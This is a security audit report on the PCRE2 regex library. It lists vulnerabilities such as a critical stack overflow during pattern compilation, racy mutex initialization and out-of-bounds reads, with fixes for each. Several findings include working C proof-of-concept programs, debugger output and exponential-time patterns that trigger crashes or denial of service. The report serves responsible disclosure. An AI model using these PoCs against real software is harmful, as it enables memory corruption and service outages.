Pentest-Report PCRE2 09.-10.2015

Cure53, Dr.-Ing. Mario Heiderich, Jann Horn, Mike Wege

Index

Introduction

"The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software.

PCRE was originally written for the Exim MTA, but is now used by many high-profile open source projects, including Apache, PHP, KDE, Postfix, Analog, and Nmap. PCRE has also found its way into some well known commercial products, like Apple Safari. Some other interesting projects using PCRE include Chicken, Ferite, Onyx, Hypermail, Leafnode, Askemos, Wenlin, and 8th."

From http://www.pcre.org/

The source code audit against the PCRE2 library was carried out by two testers and one test-lead from the Cure53 team throughout September and October 2015. The project was initiated by Open Technology Fund[1] and the Mozilla Foundation[2], pioneering a new open source security grant scheme called SOS.

The audit took twenty days to complete and yielded an overall of 29 issues. Only one of the results was considered to be of a critical severity, while the remaining majority of other problems oscillated around moderate and low severity levels. This strongly indicates that the library's code is of good quality and the application's level of maturity is rather high. However note that the audit was performed manually and did not involve any fuzzing or other automated tool-assisted techniques.

This report describes and discusses the security issues identified during the source code audit and delivers fix recommendations. In addition, the documentation provides other insights into why a given issue should be considered a security problem and how an attacker might be able to abuse it. Finally the report closes with conclusions, further addressing some more general findings, like the patterns of the spotted vulnerability and thoughts on the coding practices.

Scope

- **PCRE2 Sources**
  - http://vcs.pcre.org/pcre2/code/trunk/
  - Note that the file *pcre2_serialize.c* (serialization of compiled patterns) as well as all tests and any example code are considered out-of-scope for this assignment. All maintenance and command line tools, especially *pcre2grep.c*, were also excluded from the audit.

[1] https://www.opentech.fund/
[2] https://www.mozilla.org/en-US/foundation/

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *PCRE-01-001*) for the purpose of facilitating any future follow-up correspondence.

PCRE-01-003 Mutex Allocation in allocator_grab_lock() is racy *(Medium)*

The multithreaded version of `allocator_grab_lock()` for Windows in *sljit/sljitUtils.c* uses a mutex to prevent concurrent access to the allocator (please note it also applies to `sljit_grab_lock()`, which this is not in use at this point). This mutex is initialized on the first use of `allocator_grab_lock()` but this initialization is not appropriately protected against a concurrent execution:

```
static HANDLE allocator_mutex = 0;

static SLJIT_INLINE void allocator_grab_lock(void)
{
	[...]
	if (!allocator_mutex)
		allocator_mutex = CreateMutex(NULL, TRUE, NULL);
	else
		WaitForSingleObject(allocator_mutex, INFINITE);
}
```

If `allocator_grab_lock()` has not been called yet and two threads call it at the same time, it is possible for both threads to take the first branch since *allocator_mutex* is still 0. Both threads will create locked mutexes and access the allocator under different mutexes, making races in the allocator possible.

It is recommended to perform initialization of the *allocator_mutex* with a function that is executed through `InitOnceExecuteOnce()` to prevent races. This can be done as follows:

```
static HANDLE allocator_mutex = 0;
INIT_ONCE allocator_mutex_init = INIT_ONCE_STATIC_INIT;

static BOOL allocator_init_lock(PINIT_ONCE io, PVOID param, PVOID *context)
{
	allocator_mutex = CreateMutex(NULL, FALSE, NULL);
	return TRUE;
}

static SLJIT_INLINE void allocator_grab_lock(void)
{
	if (!allocator_mutex)
```

```
            if (InitOnceExecuteOnce(&allocator_mutex_init,
allocator_init_lock,
                                NULL, NULL) == 0)
                        /* fatal error, cancel program execution somehow */;
      WaitForSingleObject(allocator_mutex, INFINITE);
}
```

Note that `InitOnceExecuteOnce()` is only available from Windows Vista version onwards. If compatibility with Windows XP is required, it is necessary to either add a library initialization function, which would have to be called by the surrounding program, to PCRE. Alternatively, the threads would have to be synchronized in some other way (e.g. with a spinlock implementation in the user-space employing the Interlocked API[3], which would be less desirable in terms of clarity and cleanliness of this approach).

PCRE-01-005 Buffer Overflow on Stack during Length Estimation Pass *(**Critical**)*

When a pattern is compiled using *pcre2_compile()*, the function *compile_regex()* (responsible for translating the pattern text into bytecode) is called twice. First call instance occurs to determine the required output buffer size, while the second one is aimed at writing into an output buffer with the correct size. Because *compile_branch()* (called by *compile_regex()*) reads some of the information back from the output buffer, it also requires an output buffer during the length estimation pass. To solve this, the small fixed-size workspace buffer (allocated in the stack frame of *pcre2_compile()*) is used as output buffer, and *compile_branch()* has a safety check to prevent buffer overruns. This validation is namely done by checking that at least *WORK_SIZE_SAFETY_MARGIN=100* free code units remain in the output buffer. As long as no instructions point to a buffer of a very large size, then this is not a problem.

However, the code for handling verbs with an argument, like `(*THEN:foobar)`, only limits the length of verb arguments to *MAX_MARK* bytes, which is 255 for 8-bit code units and 65535 for bigger code units. Even for a workspace that was completely empty before the process, 65535 bytes do not fit and clobber a significant amount of the stack memory that follows.

The following code triggers the issue and causes a crash in a build of PCRE2 with 32-bit code points. Note that here it takes place during the handling of `pcre2_code_free (0x4100000041)`:

```
// gcc -Wall -ggdb -o test_long_verbarg test_long_verbarg.c -I trunk/src/ -L
trunk/.libs/ -std=c99 -lpcre2-32

#include <stdio.h>
#define PCRE2_CODE_UNIT_WIDTH 32
#include <pcre2.h>

int main(void) {
  // 65500 bytes arglen
```

[3] https://msdn.microsoft.com/en-us/library/windows/desktop/ms684122(v=vs.85).aspx

```
  uint32_t regex[7 + 65500 + 1 + 1];
  regex[0] = '(';
  regex[1] = '*';
  regex[2] = 'T';
  regex[3] = 'H';
  regex[4] = 'E';
  regex[5] = 'N';
  regex[6] = ':';
  for (int i=7; i < 7 + 65500; i++) regex[i] = 'A';
  regex[7 + 65500 + 0] = ')';
  regex[7 + 65500 + 1] = '\0';

  int err;
  size_t err_off;
  pcre2_code *code = pcre2_compile(regex, PCRE2_ZERO_TERMINATED,
      0, &err, &err_off, NULL);
  printf("err=%d, err_off=%lu, code=%p\n", err, (unsigned long)err_off, code);
  return 0;
}
```

Depending on the active exploit mitigations this could realistically be exploited to achieve arbitrary code execution.

On the 8-bit built the issue is not as simple to trigger. The following code causes a buffer overflow on the stack in an 8-bit built by first filling up most of the workspace using nested parentheses that start with character classes, then using a `(*MARK:...)` with a 255-byte argument when *WORK_SIZE_SAFETY_MARGIN* is reached. (Note that the character classes stay in the buffer because they may be followed by quantifiers. They are only removed from the buffer after the following element, in this case the next capture group, has been processed. This trick is necessary for the attack because *PARENS_NEST_LIMIT* prevents a simple pattern consisting of nested capture groups from filling the buffer.) The particular test was performed on an x86-64 system.

```
$ cat pcre_01_005_8bit.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>

int main(int argc, char **argv) {
  int errno;
  size_t err_off;

  // create a pattern like
  // ([bar]([bar]([bar]...(*THEN:{255*'A'})...)))
  size_t NUM_CAPTURES = 105;
  size_t pat_len = NUM_CAPTURES * 7 + 7 + 255 + 1 + 1;
  unsigned char *codestr = malloc(pat_len);
  if (codestr == NULL) return 1;
  char *p = (char*)codestr;
```

```
  // open capture groups
  for (size_t i=0; i<NUM_CAPTURES; i++)
    strcpy(p, "([bar]"), p += 6;

  // (*THEN:{255*'A'}) for overflow
  strcpy(p, "(*THEN:"); p += 7;
  memset(p, 'A', 255); p += 255;
  *(p++) = ')';

  // close capture groups
  for (size_t i=0; i<NUM_CAPTURES; i++)
    *(p++) = ')';

  *(p++) = '\0';
  assert(p == (char*)codestr + pat_len);
  //puts(codestr);

  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED,
    0, &errno, &err_off, NULL);
  printf("pcre2_compile: err=%d, err_off=%lu, code=%p\n", errno,
    (unsigned long)err_off, code);
  return 0;
}
$ gcc -o pcre_01_005_8bit pcre_01_005_8bit.c -I trunk/src/ -L trunk/.libs/
-std=c99 -lpcre2-8
$ gdb ./pcre_01_005_8bit
[...]
(gdb) break pcre2_compile.c:5625
[...]
(gdb) run
Starting program: /home/user/pcre_01_005_8bit

Breakpoint 1, compile_branch ([...]) at src/pcre2_compile.c:5625
5625                memcpy(code, arg, CU2BYTES(arglen));
(gdb) print cb->named_groups[0]
$1 = {name = 0x0, number = 4294959104, length = 32767, isdup = 0}
(gdb) next
5626                code += arglen;
(gdb) print cb->named_groups[0]
$2 = {name = 0x4141414141414141 [...], number = 1094795585, length = 16705,
isdup = 16705}
```

The contents of the first 9 elements of *named_groups* (which is in the stack frame of *pcre2_compile()*) have been overwritten. In this instance this seems unexploitable because an attacker can only overflow into *named_groups*. Nevertheless, depending on how the stack frame is arranged by the compiler, this issue might lead to a return pointer overwrite had the PCRE2 been compiled with a different compiler.

It is recommended to add the length of the verb argument to the length estimate directly during the length estimation pass rather than relying on appending the argument to the output buffer eventually. This methods is how the same issue is already avoided for *OP_CALLOUT_STR*. Alternatively *MAX_MARK* could be reduced for 16-bit and 32-bit

code units and *WORK_SIZE_SAFETY_MARGIN* could be adjusted to a value that is significantly higher than *MAX_MARK*.

PCRE-01-008 Buffer Overflow when Handling large Offsets in regerror() *(Medium)*

The *regerror()* function, which is part of PCRE2's POSIX[4] API wrapper, can print error messages that include an error position into a caller-supplied buffer. For this, it is first estimated whether the error message including the offset would fit into the caller-supplied buffer using an offset width of 6 characters. Then, if it fits according to the estimate, it is printed into the caller-supplied buffer using *sprintf()*:

```
const char *message, *addmessage;
size_t length, addlength;

message = (errcode >= (int)(sizeof(pstring)/sizeof(char *)))?
  "unknown error code" : pstring[errcode];
length = strlen(message) + 1;

addmessage = " at offset ";
addlength = (preg != NULL && (int)preg->re_erroffset != -1)?
  strlen(addmessage) + 6 : 0;

if (errbuf_size > 0)
  {
  if (addlength > 0 && errbuf_size >= length + addlength)
    sprintf(errbuf, "%s%s%-6d", message, addmessage, (int)preg->re_erroffset);
  else
    {
    strncpy(errbuf, message, errbuf_size - 1);
    errbuf[errbuf_size-1] = 0;
    }
  }
```

However, re_erroffset can have values equal to or greater than 1000000, and the format element `%-6d` with a field width of 6 does not prevent printing longer numbers. This can lead to an out-of-bounds write-access behind the supplied error buffer. This is demonstrated below:

```
$ cat regerror_test.c
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>
#include <pcre2posix.h>
#include <stdio.h>
#include <string.h>

int main(void) {
  regex_t re;
  char re_text[1000001];
  memset(re_text, ' ', 1000000);
  re_text[1000000] = '\0';
  int err = regcomp(&re, re_text, 0);
```

[4] https://en.wikipedia.org/wiki/POSIX

```
  char errbuf[37] = {0};
  errbuf[sizeof(errbuf)-1] = 'X';
  // regerror is not allowed to overwrite the last char of errbuf
  regerror(err, &re, errbuf, sizeof(errbuf)-1);
  puts(errbuf);
  if (errbuf[sizeof(errbuf)-1] != 'X')
    printf("last errbuf char overwritten! char=%hhd\n", errbuf[sizeof(errbuf)-
1]);
}
$ ./regerror_test
expression too big at offset 1000000
last errbuf char overwritten! char=0
```

The impact of this issue is relatively low because it requires the application to supply a very small error buffer. At the same time it is recommended to instead attempt a writing of the error message with offset to the target buffer using *snprintf()*. If the return value of *snprintf()* is equal to or greater than the target buffer size, then the output must have been truncated and *regerror()* should fall back to writing the simple error message with the use of *strncpy()*:

```
int required_buffer_size = snprintf(errbuf, errbuf_size, "%s%s%-6d", ...);
if (required_buffer_size >= errbuf_size)
  // errbuf was null-terminated by snprintf()
  strncpy(errbuf, message, errbuf_size-1);
```

PCRE-01-009 Incorrect Replacement Length Handling in pcre2_substitute() *(Low)*

The function *pcre2_substitute()* accepts a replacement string as eighth and that string's length as ninth argument, respectively. As expected, specifying a string length of *PCRE2_ZERO_ TERMINATED* (the highest possible *size_t* value) causes the PCRE2 to treat the string as null-terminated and determine the string's length via *strlen()*:

```
if (rlength == PCRE2_ZERO_TERMINATED) rlength = PRIV(strlen)(replacement);
```

However, if the *PCRE2_UTF* flag is set, the following code checks whether *replacement* is a valid UTF{8,16,32} string prior to the *rlength* being corrected:

```
#ifdef SUPPORT_UNICODE
if ((code->overall_options & PCRE2_UTF) != 0 &&
    (options & PCRE2_NO_UTF_CHECK) == 0)
  {
  rc = PRIV(valid_utf)(replacement, rlength, &(match_data->rightchar));
  if (rc != 0)
    {
    match_data->leftchar = 0;
    goto EXIT;
    }
  }
#endif  /* SUPPORT_UNICODE */
```

Because *valid_utf()* is not aware of a null byte-based string termination, it will execute beyond the end of the buffer and, depending on the data behind the buffer, return a data-dependent error value or crash. At the end, this can possibly leak secret information. Similarly, the bug can also be triggered through an application that does not explicitly enable UTF mode through the *PCRE2_UTF* flag by using a pattern that starts with *(*UTF)*. It is recommended to fix up *rlength* before passing it to *valid_utf()* as a parameter.

PCRE-01-010 pcre2_substitute() has quadratic Runtime in UTF Mode *(Low)*

In UTF mode, PCRE2 verifies that input strings are encoded validly. However *pcre2_substitute()* does not verify the correctness of *subject* directly, but instead relies on the check performed by *pcre2_match()*. Simultaneously, since the UTF check tests the whole (remaining) input string on each invocation and *pcre2_match()* is invoked for every successful match, the runtime of *pcre2_substitute()* for simple patterns in UTF mode is *O(subjectlen * matches)*, which can be $O(subjectlen^2)$ for worst-case inputs.

As an example, let us have a look at the values on an i7-4810MQ machine. Here replacing all occurrences of “a” with “e” in UTF mode in a string consisting of 0x10000 times “a” takes 4 seconds, while it takes 16 seconds for a string that is twice as long. (In non-UTF mode, the operation lasts under 40 milliseconds for both lengths.)

Issues that allow an attacker to craft input that is processed with quadratic runtime are a practical concern since they can be used for performing Denial of Service attacks that require a very low amount of bandwidth.

It is recommended to either perform the UTF validation of the subject in *pcre2_substitute()*, then pass the *PCRE2_NO_UTF_CHECK* flag to *pcre2_match()*, or pass the *PCRE2_NO_UTF_CHECK* flag to *pcre2_match()* after the first *pcre2_match()* call.

PCRE-01-012 Uninit Stack Read in pcre2_substitute() *(Medium)*

Within the PCRE logic, *pcre2_substitute()* uses a replacement string in which references to match groups can occur. They either take a numerical form or use a name that are parsed as follows:

```
PCRE2_UCHAR name[33];
[...]
group = -1; /* is an int */
[...]
if (!star && next >= CHAR_0 && next <= CHAR_9)
  {
  group = next - CHAR_0;
  while (++i < rlength)
    {
    next = replacement[i];
    if (next < CHAR_0 || next > CHAR_9) break;
    group = group * 10 + next - CHAR_0;
```

```
    }
  }
else
  {
  const uint8_t *ctypes = code->tables + ctypes_offset;
  while (MAX_255(next) && (ctypes[next] & ctype_word) != 0)
    {
    name[n++] = next;
    if (n > 32) goto BAD;
    if (i == rlength) break;
    next = replacement[++i];
    }
  if (n == 0) goto BAD;
  name[n] = 0;
  }
```

When *group* is negative, this signals that *name* should be used instead. However, because the integer parsing loop does not check for signed overflow, *group* can become negative through an input like `$3123456789` even though *name* is uninitialized.

Subsequently, the following code is run:

```
if (group < 0)
  rc = pcre2_substring_copy_byname(match_data, name,
    buffer + buff_offset, &sublength);
else
  rc = pcre2_substring_copy_bynumber(match_data, group,
    buffer + buff_offset, &sublength);
```

If *group* is negative because of an integer overflow, this code passes the uninitialized string *name* to *pcre2_substring_copy_byname()*, and *name* ends up as an argument to *strcmp()*.

Depending on the compiler and the embedding program, this might allow an attacker with control over the replacement string to determine limited amounts of data from the program stack memory. It is recommended to check for the integer overflow.

PCRE-01-013 Out-of-bounds Read behind replacement in pcre2_substitute() *(Low)*

Again focusing on the *pcre2_substitute()*, it was discovered that it allows the caller to specify a replacement string that is either null-terminated or has a length specified in *rlength*. This means that when the replacement is being parsed, the function needs to constantly check for out-of-bounds reads by testing *i* against *rlength*. The following code is used for parsing named references:

```
while (MAX_255(next) && (ctypes[next] & ctype_word) != 0)
  {
  name[n++] = next;
  if (n > 32) goto BAD;
  if (i == rlength) break;
  next = replacement[++i];
```

```
  }
```

This code does check *i* against *rlength*, but does so before performing the pre-increment operation on *i* while then using *i* as an index into *replacement*. Therefore this loop can read one character beyond the end of replacement when parsing a replacement string like $asdf.

Theoretically this issue can lead to information disclosure (unlikely to be exploitable in practice) or crashes by dereferencing invalid pointers (higher likelihood). The current condition can never be true because `i == rlength` has been tested before. It is recommended to correct this code as shown below:

```
  // could also use == instead of >=, but >= is more robust and should be
  // used unless == is significantly faster and this is
  // performance-critical
  if (++i >= rlength) break;
  next = replacement[i];
```

PCRE-01-015 Unsafe out-of-bounds Pointer UTF-tested in pcre2_match() *(Medium)*

When *pcre2_match()* performs UTF validation on a subject string with a non-zero start offset, the portion of the subject string before the start offset is ignored as a way of performance optimization if no backtracking can take place. If a limited amount of backtracking can happen, the corresponding portion of the subject's string is included in the UTF-checked data. In the version with 32-bit code points this is implemented as follows:

```
if (utf && (options & PCRE2_NO_UTF_CHECK) == 0)
  {
  PCRE2_SPTR check_subject = start_match;  /* start_match includes offset */

  if (start_offset > 0)
    {
#if PCRE2_CODE_UNIT_WIDTH != 32
    [...]
#else   /* In the 32-bit library, one code unit equals one character. */
    check_subject -= re->max_lookbehind;
    if (check_subject < subject) check_subject = subject;
#endif  /* PCRE2_CODE_UNIT_WIDTH != 32 */
    }

  /* Validate the relevant portion of the subject. After an error, adjust the
  offset to be an absolute offset in the whole string. */

  match_data->rc = PRIV(valid_utf)(check_subject,
    length - (check_subject - subject), &(match_data->startchar));
  [...]
  }
```

This test computes and compares *check_subject* and means a potentially out-of-bounds pointer. While the C standard permits pointers directly behind an allocation, out-of-

bounds pointers like this one are not permitted. One needs to be informed here that there are other places in the code that use pointers that are out-of-bounds by one byte - those are not spec-compliant but should practically work. In the main case analyzed here, the out-of-bounds pointer is not only theoretically dangerous, but could also have actually dangerous effects in practice.

One example pertains to the situation when `(ptrsize_t)start_match < re->max_lookbehind`, as the subtraction will wrap around. In effect, the *check_subject* is now bigger than *subject* and therefore causes the condition to be false. An attacker with a knowledge of the memory layout of a process with small addresses might be able to use this flaw to disclose information that is stored at the targeted memory locations through differences in valid_utf() return values. Alternatively, an attacker could just cause a crash by provoking an invalid address dereference.

The issue is mitigated by `re->max_lookbehind` being a *uint16_t* because on the typical x86 systems no memory is allocated below 0x40000. Beware, however, that this could be an issue on other systems such as ARM devices[5].

The following is a pattern with maximal *max_lookbehind*: `(?<!a{65535})x`

It is recommended to first compare *start_offset* and *re->max_lookbehind*, then decide whether the `check_subject -= re->max_lookbehind` subtraction should be performed, conditioning the later actions on the result of the above verification.

PCRE-01-017 2nd find_fixedlength Result not stored as max_lookbehind *(Low)*

When a lookbehind assertion with *OP_RECURSE* such as `(?<!(a{10})(?-1))x` is compiled, *pcre2_compile()* performs two *find_fixedlength()* passes on said assertion. The first pass stores a length of zero (because of the recursion), while the second pass stores the correct length in the *OP_REVERSE* instruction. However, only the result of the first pass is stored in *re->max_lookbehind* (through *cb->max_lookbehind*). It is that former result that is henceforth used to determine the amount of preceding subject's memory. This is the subject's memory which in fact is the one for which UTF correctness needs to be validated in the UTF mode.

From this follows that if the regular expression (?<=(a)(?-1))x is used on the subject string "\x80zx" in the UTF mode with 8-bit code points and a start offset of 2, then only the substring "x" will be checked for UTF correctness. Any attempt to scan for the start of the character ending with "\x80" will cause memory accesses in front of the subject's string until a byte happens to have a value below 0x80. Depending on the memory allocator, this can either result in a crash or end in a (very) small information leak.

It is recommended to store the result of the second pass rather than the one of the first pass in the *pcre2_real_code* struct.

[5] https://en.wikipedia.org/wiki/ARM_architecture

PCRE-01-018 Problematic Truncation of max_lookbehind *(Low)*

The discussions in PCRE-01-017 describe a bug that makes the length of *OP_RECURSE* inside lookbehinds to be underestimated, causing *re->max_lookbehind* to be smaller than required. This can also happen due to multiple value truncations:

1. *find_fixedlength()* accumulates a length value in *branchlength*, which is of type *int* and is never checked for (signed) overflow. It is particularly once the PCRE-01-017 is fixed that this value could easily overflow.
2. The result of *find_fixedlength()* is first stored in *cb->max_lookbehind*, which is an *int*. However, it is later copied to *re->max_lookbehind*, which is a uint16_t. This overflows as soon as the maximum lookbehind is at least 2^{16} code units-long. This is not exploitable with a single lookbehind in the default configuration as the *OP_REVERSE* length argument is also truncated to a 16-bit value. Nonetheless, it can be exploited when a second lookbehind is added: `(?<!a{20})(?<!a{65535}a{2})x`

To fix the first sub-case it is recommended to ensure that the *branchlength* is a sane value (below around 2^{30}) following each iteration of the loop in *find_fixedlength()*.

A recommendation for fixing the second sub-case is to verify that the return value of *find_fixedlength()* is never above 2^{16}-1 and “error out” if it indeed is. Alternatively, a new special return value for “excessively long lookbehind” could be added to *find_fixedlength()* that causes a flag to be set in the regex forcing the UTF check to always be carried out against the full subject. In this case another check would have to be added to guarantee that storing the lookbehind length with *PUT()* does not cause a truncation.

PCRE-01-023 Match Start after End causes pcre2_substitute to repeat Input *(Low)*

As documented, using the regex `(?=a\K)` on the subject "a" causes a match with start after end. In this situation, *pcre2_substitute()* will assume that a new non-empty match was found due to the fact that the match’s start is not equal to the match’s end. Thus it will not use the special-case logic for handling empty matches. Consequently, *pcre2_substitute()* copies the string between the last match’s end (in front of “a”) and the current match’s start (behind “a”) into the output buffer in a loop. This occurs until the whole output buffer is filled with “a”, then proceeding with an error linked to the output buffer being full.

Theoretically if an application allows an attacker to specify an arbitrary regex yet assumes that the possible modifications in the output string are limited (because the replacement string is application-controlled), this could allow for a bypass of that intended restriction:

```
$ cat test_subst_negative_matchlen_2.c
#include <stdio.h>
#include <string.h>
#define PCRE2_CODE_UNIT_WIDTH 8
```

```
#include <pcre2.h>

int main(int argc, char **argv) {
  int errno;
  size_t err_off;
  unsigned char *codestr = (unsigned char *)argv[1];
  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED,
    0, &errno, &err_off, NULL);
  if (code == NULL) return 1;

  unsigned char *input = (unsigned char *)"aaa";
  //                                output: ^^
  //                           start of match 1 ^
  //                            end of match 1 ^
  //                                  output:  ^^
  //                            start of match 2 ^
  //                             end of match 2 ^
  //                                  output:   ^

  unsigned char *replacement = (unsigned char *)"{HERE}";

  size_t outbuflen = 100;
  unsigned char outbuf[outbuflen];

  int substres = pcre2_substitute(code, input,
    PCRE2_ZERO_TERMINATED, 0, PCRE2_SUBSTITUTE_GLOBAL, NULL, NULL,
    replacement, strlen((char*)replacement), outbuf, &outbuflen);
  printf("pcre2_subst(...) = %d\n", substres);
  if (substres >= 0) puts((char*)outbuf);
  return 0;
}
$ gcc -o test_subst_negative_matchlen_2 test_subst_negative_matchlen_2.c -I
trunk/src/ -L trunk/.libs/ -std=c99 -lpcre2-8
$ ./test_subst_negative_matchlen_2 'a(?=a\K)'
pcre2_subst(...) = 2
aa{HERE}aa{HERE}a
$
```

The matches that end before they start in *pcre2_substitute()* should be disallowed to mitigate this problem.

PCRE-01-024 Simultaneous Freeing of unserialized Patterns is racy *(Medium)*

Responsible for freeing a compiled pattern, *pcre2_code_free()* contains the following code:

```
if ((code->flags & PCRE2_DEREF_TABLES) != 0)
  {
  /* Decoded tables belong to the codes after deserialization, and they must
  be freed when there are no more reference to them. The *ref_count should
  always be > 0. */

  ref_count = (PCRE2_SIZE *)(code->tables + tables_length);
  if (*ref_count > 0)
```

```
    {
    (*ref_count)--;
    if (*ref_count == 0)
      code->memctl.free((void *)code->tables, code->memctl.memory_data);
    }
  }
```

This means that if two patterns that were unserialized together are freed simultaneously by different threads, then a race could occur. It would cause both threads to attempt to free the tables simultaneously, leading to a double-free. While the *pcre2serialize* manpage mentions that reference counting is used, it fails to make it clear that this is not thread-safe.

It is recommended to either clearly document and present this issue or, alternatively, to add locking in *pcre2_code_free()*.

PCRE-01-025 Invalid UTF in Substitution Output through int Overflow *(Low)*

When a pattern is compiled without *PCRE2_ALT_VERBNAMES*, verb arguments are parsed using *process_verb_name()*. When this function is called to determine the verb argument's length, it accumulates the length of the observable data in the variable *int arglen*. Because no overflow checks are performed, it is possible for this variable to overflow. That means that if the code was compiled with a typical compiler on an x86-64 machine, *arglen* will become negative after 2^31 code points, while then moving on to becoming positive again after 2^31 more code points.

The above described behavior can be used to truncate UTF-8 / UTF-16 characters in the middle with the use of a verb argument that consists of e.g. a UTF-8 character comprising multiple code points followed by *0xffffffff* times "a". The truncated UTF character is then stored in the compiled pattern.

The stored string with invalid UTF encoding can then reach the application again. One case when this would happen pertains to a replacement string being passed to *pcre2_substitute()* contained the string `$*MARK`. As such, it would cause the last-seen *MARK* / *PRUNE* / *THEN* argument to be placed in the output buffer:

```
$ cat test_superlong_verbarg.c
#include <stdio.h>
#include <string.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>

int main(int argc, char **argv) {
  int errno;
  size_t err_off;
  // a(*MARK:Ä<(2^32)-1 * 'a'>)
  // 10        +2^32-1       +1 + 1    = 2^32 + 11
  unsigned char *codestr = malloc(0x10000000b);
  if (codestr == NULL) return 1;
  strcpy((char*)codestr, "a(*MARK:Ä");
```

```
  memset(codestr+10, 'a', 0xffffffff);
  strcpy((char*)codestr+10+0xffffffff, ")");
  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED,
    PCRE2_UTF, &errno, &err_off, NULL);
  if (code == NULL) return 1;

  unsigned char *input = (unsigned char *)"a";
  unsigned char *replacement = (unsigned char *)"$*MARK";

  size_t outbuflen = 100;
  unsigned char outbuf[outbuflen];

  int substres = pcre2_substitute(code, input,
    PCRE2_ZERO_TERMINATED, 0, 0, NULL, NULL, replacement,
    strlen((char*)replacement), outbuf, &outbuflen);
  printf("pcre2_subst(...) = %d\n", substres);
  if (substres >= 0) printf("<<<%s>>>\n", (char*)outbuf);
  return 0;
}
$ gcc -o test_superlong_verbarg test_superlong_verbarg.c -I trunk/src/ -L
trunk/.libs/ -std=c99 -lpcre2-8
[user@delme-ercp ~]$ ./test_superlong_verbarg | tee test_superlong_verbarg_out
pcre2_subst(...) = 1
<<<?>>>
$ hexdump -C test_superlong_verbarg_out
[...]
[...] 3c 3c 3c  c3 3e 3e 3e 0a           | = 1.<<<.>>>.|
```

If an application that uses UTF-encoding internally permits an attacker to perform a string replacement with attacker-controlled pattern and replacement, the attacker might be able to trigger faulty behavior. For instance an assertion failure or treating the bad UTF sequence as distinct characters under different circumstances could in turn lead to a filter bypass. Similarly in UTF-8 mode a truncation of the U+0800 character to a single byte followed by a placement of two single-byte characters behind it could be used to create something that would, if no checks are performed, effectively be an overlong encoding of an arbitrary single-byte or two-byte character. An escaping routine or a routine for detecting blacklisted characters would probably not recognize such a character, but next time a conversion between encodings is performed, the overlong and invalidly encoded character could implicitly be canonicalized.

Similar code is found in *compile_branch()* but, in this case, the issue can only be used to skip over 2^32 letters in the verb name. This is seemingly incorrect but not security-relevant:

```
PCRE2_SPTR name = ptr + 1;
[...]
ptr++;
while (MAX_255(*ptr) && (cb->ctypes[*ptr] & ctype_letter) != 0) ptr++;
namelen = (int)(ptr - name);
```

It is recommended to add an overflow check or a reasonable length limit to *process_verb_name()*. Additionally, in hopes of mitigating potential similar issues, it might be a good idea to implement a length limit for the pattern source. This should be comparable to the limit on the size of the compiled pattern that already exists (*MAX_PATTERN_SIZE*).

PCRE-01-026 Exponential Pattern Compilation Time using Subroutine Calls *(Low)*

Determining whether the *PCRE2_MATCH_EMPTY* flag should be set in the compiled pattern is done by *pcre2_compile().* The actual method involves scanning the pattern with *could_be_empty_branch()*. As long as it does not encounter something that cannot match an empty string, this function only scans through the compiled pattern, recursing into all non-recursive subroutine calls.

Using a specially crafted pattern, (namely the one in which a capture group that could match an empty string is referenced by two subroutine calls, each of which is again referenced by two subroutine calls and so on), it is possible to force this scanning step into having a runtime that is exponential in terms of the size of the pattern's string:

```
$ cat test_could_be_empty_branch_exponential.c
#include <stdio.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>

int main(void) {
  int errno;
  size_t err_off;
  unsigned char *codestr = "(.*)"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))";
  pcre2_code *code = pcre2_compile(codestr, PCRE2_ZERO_TERMINATED, 0,
&errno, &err_off, NULL);
  printf("pcre2_compile: err=%d, err_off=%lu, code=%p\n", errno,
(unsigned long)err_off, code);
  if (code == NULL) return 1;
  return 0;
}
$ diff test_could_be_empty_branch_exponential.c
test_could_be_empty_branch_exponential_2.c
14c14
<     "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))";
---
>     "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))";
$ gcc -o test_could_be_empty_branch_exponential
test_could_be_empty_branch_exponential.c -I trunk/src/ -L trunk/.libs/
-std=c99 -lpcre2-8
```

```
$ gcc -o test_could_be_empty_branch_exponential_2
test_could_be_empty_branch_exponential_2.c -I trunk/src/ -L trunk/.libs/
-std=c99 -lpcre2-8
$ time ./test_could_be_empty_branch_exponential
pcre2_compile: err=100, err_off=0, code=0x209c010

real   0m2.798s
user   0m2.795s
sys    0m0.003s
$ time ./test_could_be_empty_branch_exponential_2
pcre2_compile: err=100, err_off=0, code=0x2139010

real   0m6.162s
user   0m6.158s
sys    0m0.004s
```

By adding one more `((?-2)(?-2))` sequence to the pattern, the runtime can (roughly) be doubled. A check using a profiler (Callgrind) confirms that over 99.9% of the runtime is spent in *could_be_empty_branch()*.

The same issue exists in *find_fixedlength()*. By placing a chain of `((?-2)(?-2))` in a lookbehind assertion, an attacker can again cause *pcre2_compile()* to run in exponential time:

```
$ cat test_find_fixedlength_explosion.c
#include <stdio.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include <pcre2.h>

int main(void) {
  int errno;
  size_t err_off;
  unsigned char *codestr = (unsigned char *)"(?<=a()"
    "((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))((?-2)(?-2))"
